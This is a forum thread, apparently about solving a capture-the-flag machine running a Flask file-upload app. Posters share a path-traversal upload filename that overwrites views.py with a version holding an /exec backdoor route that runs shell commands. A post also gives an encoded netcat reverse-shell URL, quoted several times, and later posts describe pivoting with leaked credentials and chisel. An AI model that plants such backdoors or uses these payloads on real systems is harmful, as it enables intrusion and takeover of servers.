Return to forum

Exa · May 21, 2022 at 8:08 PM

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered  ppp

tom · May 21, 2022 at 8:14 PM

it's about uploading file and change name

or something with name , it's python i think it's SSTI

dude4695 · May 21, 2022 at 8:32 PM

in views.py

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')



@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))


@app.route('/exec')
def runcmd():
    return os.system(request.args.get('cmd'))

in burpsuite change this

Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"

in browser

http://IP/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20IP%20PORT%20%3E%2Ftmp%2Ff

you'll get rev shell of container

you have to just replace views.py file

ryzen · May 21, 2022 at 9:19 PM

(May 21, 2022, 08:32 PM)dude4695 Wrote: in views.py

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')



@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))


@app.route('/exec')
def runcmd():
    return os.system(request.args.get('cmd'))

in burpsuite change this

Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"

in browser

http://IP/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20IP%20PORT%20%3E%2Ftmp%2Ff

you'll get rev shell of container

you have to just replace views.py file

Does that work without restarting the application?

dude4695 · May 21, 2022 at 9:21 PM

(May 21, 2022, 09:19 PM)ryzen Wrote:
(May 21, 2022, 08:32 PM)dude4695 Wrote: in views.py
import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')



@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))


@app.route('/exec')
def runcmd():
    return os.system(request.args.get('cmd'))
in burpsuite change this

Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"

in browser

http://IP/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20IP%20PORT%20%3E%2Ftmp%2Ff

you'll get rev shell of container

you have to just replace views.py file
Does that work without restarting the application?

yes

imbus2 · May 21, 2022 at 9:30 PM

same spot but idw how we can esclate to basis system :(

dude4695 · May 21, 2022 at 9:42 PM

(May 21, 2022, 09:29 PM)Internetdreams Wrote: you can ssh from docker with creds you found on dev branch commits diff

actually those creds are for gitea which is running on 172.17.0.1 where u will get id_rsa key

dude4695 · May 21, 2022 at 9:54 PM

User: dev01

iphonedox · May 21, 2022 at 10:06 PM

(May 21, 2022, 09:54 PM)dude4695 Wrote:

User: dev01

How did you manage to escape from the container?

dude4695 · May 21, 2022 at 10:10 PM

(May 21, 2022, 10:06 PM)iphonedox Wrote:

(May 21, 2022, 09:54 PM)dude4695 Wrote:

User: dev01

How did you manage to escape from the container?

i used chisel for port forwarding